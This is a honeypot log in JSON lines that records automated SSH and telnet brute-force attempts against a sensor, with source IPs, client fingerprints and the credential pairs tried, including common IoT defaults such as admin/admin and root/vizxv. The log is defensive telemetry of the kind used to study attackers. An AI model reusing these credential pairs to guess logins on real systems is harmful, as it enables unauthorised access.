{"eventid":"cowrie.session.closed","duration":6.067222833633423,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:00.082309Z","src_ip":"176.65.139.118","session":"bf41048cc1a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":37402,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b269abec8c8","protocol":"telnet","message":"New connection: 176.65.139.118:37402 (159.203.135.109:23) [session: 3b269abec8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:00.259465Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3846,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d0e97ce79b8","protocol":"ssh","message":"New connection: 87.251.64.176:3846 (10.17.0.5:22) [session: 3d0e97ce79b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:02.077236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:02.088881Z","src_ip":"87.251.64.176","session":"3d0e97ce79b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:02.192882Z","src_ip":"87.251.64.176","session":"3d0e97ce79b8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:02.486985Z","src_ip":"87.251.64.176","session":"3d0e97ce79b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:02.591275Z","session":"3d0e97ce79b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:02.695504Z","src_ip":"87.251.64.176","session":"3d0e97ce79b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:02.797390Z","src_ip":"87.251.64.176","session":"3d0e97ce79b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.3114981651306152,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:03.570834Z","src_ip":"176.65.139.118","session":"3b269abec8c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":44784,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c68fa8d6216","protocol":"telnet","message":"New connection: 176.65.139.118:44784 (159.203.135.109:23) [session: 4c68fa8d6216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:03.869286Z"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:09.712645Z","src_ip":"176.65.139.118","session":"4c68fa8d6216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.51402497291565,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:12.383197Z","src_ip":"176.65.139.118","session":"4c68fa8d6216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":37158,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a6362278a3f","protocol":"telnet","message":"New connection: 176.65.139.118:37158 (159.203.135.109:23) [session: 6a6362278a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:12.614359Z"}
{"eventid":"cowrie.session.closed","duration":2.274123191833496,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:14.888352Z","src_ip":"176.65.139.118","session":"6a6362278a3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":34888,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f111a607458","protocol":"telnet","message":"New connection: 176.65.139.118:34888 (159.203.135.109:23) [session: 9f111a607458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:14.969301Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":51994,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d2f1b4c4ef5","protocol":"ssh","message":"New connection: 103.149.28.157:51994 (159.203.135.109:22) [session: 1d2f1b4c4ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:15.720053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:15.725674Z","src_ip":"103.149.28.157","session":"1d2f1b4c4ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:15.973015Z","src_ip":"103.149.28.157","session":"1d2f1b4c4ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdzxc123","message":"login attempt [root/asdzxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:16.721213Z","src_ip":"103.149.28.157","session":"1d2f1b4c4ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:17.969290Z","src_ip":"103.149.28.157","session":"1d2f1b4c4ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:21.496726Z","src_ip":"176.65.139.118","session":"9f111a607458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.950858116149902,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:26.920049Z","src_ip":"176.65.139.118","session":"9f111a607458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":60956,"dst_ip":"159.203.135.109","dst_port":23,"session":"278dc25481a9","protocol":"telnet","message":"New connection: 176.65.139.118:60956 (159.203.135.109:23) [session: 278dc25481a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:27.080602Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53964,"dst_ip":"10.17.0.5","dst_port":23,"session":"146c887059b3","protocol":"telnet","message":"New connection: 152.42.224.71:53964 (10.17.0.5:23) [session: 146c887059b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:28.626894Z"}
{"eventid":"cowrie.session.closed","duration":2.378732442855835,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:29.459202Z","src_ip":"176.65.139.118","session":"278dc25481a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":49036,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b1a4ad63fe5","protocol":"telnet","message":"New connection: 176.65.139.118:49036 (159.203.135.109:23) [session: 8b1a4ad63fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:32.583941Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:35.460227Z","src_ip":"176.65.139.118","session":"8b1a4ad63fe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.20020055770874,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:37.783902Z","src_ip":"176.65.139.118","session":"8b1a4ad63fe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32898,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfbd097a8234","protocol":"telnet","message":"New connection: 152.42.224.71:32898 (10.17.0.5:23) [session: dfbd097a8234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:37.846312Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":53964,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6fdc9cff653","protocol":"telnet","message":"New connection: 176.65.139.118:53964 (159.203.135.109:23) [session: f6fdc9cff653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:38.109351Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vizxv","message":"login attempt [root/vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:44.419484Z","src_ip":"176.65.139.118","session":"f6fdc9cff653","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.598051309585571,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:46.707319Z","src_ip":"176.65.139.118","session":"f6fdc9cff653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":34738,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdbf6052db7e","protocol":"ssh","message":"New connection: 109.172.54.111:34738 (159.203.135.109:22) [session: bdbf6052db7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:47.668390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:47.673577Z","src_ip":"109.172.54.111","session":"bdbf6052db7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:47.773494Z","src_ip":"109.172.54.111","session":"bdbf6052db7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfrcbv123","message":"login attempt [root/vfrcbv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:48.071846Z","src_ip":"109.172.54.111","session":"bdbf6052db7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":49768,"dst_ip":"10.17.0.5","dst_port":22,"session":"383c2cb8b07b","protocol":"ssh","message":"New connection: 185.236.22.41:49768 (10.17.0.5:22) [session: 383c2cb8b07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:48.337135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:48.357313Z","src_ip":"185.236.22.41","session":"383c2cb8b07b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:48.481936Z","src_ip":"185.236.22.41","session":"383c2cb8b07b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:49.169860Z","src_ip":"109.172.54.111","session":"bdbf6052db7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1xsw2","message":"login attempt [root/zaq1xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:49.701779Z","src_ip":"185.236.22.41","session":"383c2cb8b07b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:50.859436Z","src_ip":"185.236.22.41","session":"383c2cb8b07b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":42964,"dst_ip":"159.203.135.109","dst_port":23,"session":"05749d7dfc84","protocol":"telnet","message":"New connection: 176.65.139.118:42964 (159.203.135.109:23) [session: 05749d7dfc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:50.933923Z"}
{"eventid":"cowrie.session.closed","duration":26.375118494033813,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:55.001898Z","src_ip":"152.42.224.71","session":"146c887059b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":49458,"dst_ip":"10.17.0.5","dst_port":22,"session":"61257755f759","protocol":"ssh","message":"New connection: 103.183.114.55:49458 (10.17.0.5:22) [session: 61257755f759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:55.984893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:55.990517Z","src_ip":"103.183.114.55","session":"61257755f759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:56.218016Z","src_ip":"103.183.114.55","session":"61257755f759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qw23er4","message":"login attempt [root/1qw23er4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:56.884673Z","src_ip":"103.183.114.55","session":"61257755f759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:42:58.109137Z","src_ip":"103.183.114.55","session":"61257755f759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.188908100128174,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:02.122730Z","src_ip":"176.65.139.118","session":"05749d7dfc84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":45124,"dst_ip":"159.203.135.109","dst_port":23,"session":"968574464920","protocol":"telnet","message":"New connection: 176.65.139.118:45124 (159.203.135.109:23) [session: 968574464920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:02.334059Z"}
{"eventid":"cowrie.session.closed","duration":13.02316164970398,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:15.357113Z","src_ip":"176.65.139.118","session":"968574464920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":57254,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf4698b6ceba","protocol":"telnet","message":"New connection: 176.65.139.118:57254 (159.203.135.109:23) [session: bf4698b6ceba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:15.530971Z"}
{"eventid":"cowrie.session.closed","duration":6.091006278991699,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:21.621836Z","src_ip":"176.65.139.118","session":"bf4698b6ceba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":53002,"dst_ip":"159.203.135.109","dst_port":23,"session":"df3486b65caf","protocol":"telnet","message":"New connection: 176.65.139.118:53002 (159.203.135.109:23) [session: df3486b65caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:21.704552Z"}
